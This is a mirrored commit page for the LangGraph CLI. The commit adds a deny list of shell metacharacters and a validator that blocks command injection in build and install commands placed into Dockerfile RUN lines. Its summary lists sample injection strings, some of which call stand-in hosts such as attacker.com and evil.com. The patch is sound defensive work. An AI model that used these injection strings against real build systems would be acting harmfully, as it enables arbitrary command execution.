mirror of
https://github.com/langchain-ai/langgraph.git
synced 2026-09-07 02:07:52 +02:00
fix(cli): block shell injection chars in build/install commands (#7044)
## Summary - Adds `|`, `;`, `$`, `>`, `<`, `\t` to `DISALLOWED_BUILD_COMMAND_CHARS` to prevent command injection in CLI `build_command` / `install_command` parameters - Previously these values were interpolated directly into Dockerfile `RUN` directives with no validation - Single `&` is blocked (background execution) while `&&` remains allowed since it's commonly used in build commands (e.g. `npm install && npm build`) - Adds `has_disallowed_build_command_content()` validation function and applies it in the `build` CLI command - Mirrors langchain-ai/langchainplus#19143 **Attack examples now blocked:** - `pip install foo | curl attacker.com` (pipe) - `npm install; curl evil.com` (semicolon) - `pip install $(whoami)` (command substitution) - `pip install ${IFS}evil` (variable expansion) - `npm install & curl evil.com` (background execution) ## Test Plan - [x] 27 new unit tests covering all disallowed chars, injection patterns, single `&` rejection, `&&` allowance, and valid commands - [x] All 64 tests in `test_config.py` pass (37 existing + 27 new) 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
co-authored by
Claude Opus 4.6
parent
a3823395cf
commit
e00a027579
@@ -409,6 +409,18 @@ def build(
|
||||
install_command: str | None,
|
||||
build_command: str | None,
|
||||
):
|
||||
if install_command and langgraph_cli.config.has_disallowed_build_command_content(
|
||||
install_command
|
||||
):
|
||||
raise click.UsageError(
|
||||
"install_command contains disallowed characters or patterns."
|
||||
)
|
||||
if build_command and langgraph_cli.config.has_disallowed_build_command_content(
|
||||
build_command
|
||||
):
|
||||
raise click.UsageError(
|
||||
"build_command contains disallowed characters or patterns."
|
||||
)
|
||||
with Runner() as runner, Progress(message="Pulling...") as set:
|
||||
if shutil.which("docker") is None:
|
||||
raise click.UsageError("Docker not installed") from None
|
||||
|
||||
@@ -13,6 +13,36 @@ from langgraph_cli.schemas import Config, Distros
|
||||
MIN_NODE_VERSION = "20"
|
||||
DEFAULT_NODE_VERSION = "20"
|
||||
|
||||
DISALLOWED_BUILD_COMMAND_CHARS = [
|
||||
'"',
|
||||
"`",
|
||||
"\\",
|
||||
"\n",
|
||||
"\r",
|
||||
"\0",
|
||||
"\t",
|
||||
"|",
|
||||
";",
|
||||
"$",
|
||||
">",
|
||||
"<",
|
||||
]
|
||||
|
||||
# Regex pattern matching a single "&" that is NOT part of "&&".
|
||||
# This blocks background execution (cmd &) while allowing command
|
||||
# chaining (cmd1 && cmd2) which is common in build commands.
|
||||
_SINGLE_AMPERSAND_RE = re.compile(r"(?<!&)&(?:&&)*(?!&)")
|
||||
|
||||
|
||||
def has_disallowed_build_command_content(command: str) -> bool:
|
||||
"""Check if a command string contains disallowed characters or patterns."""
|
||||
if any(char in command for char in DISALLOWED_BUILD_COMMAND_CHARS):
|
||||
return True
|
||||
if _SINGLE_AMPERSAND_RE.search(command):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
MIN_PYTHON_VERSION = "3.11"
|
||||
DEFAULT_PYTHON_VERSION = "3.11"
|
||||
|
||||
|
||||
Reference in New Issue
Block a user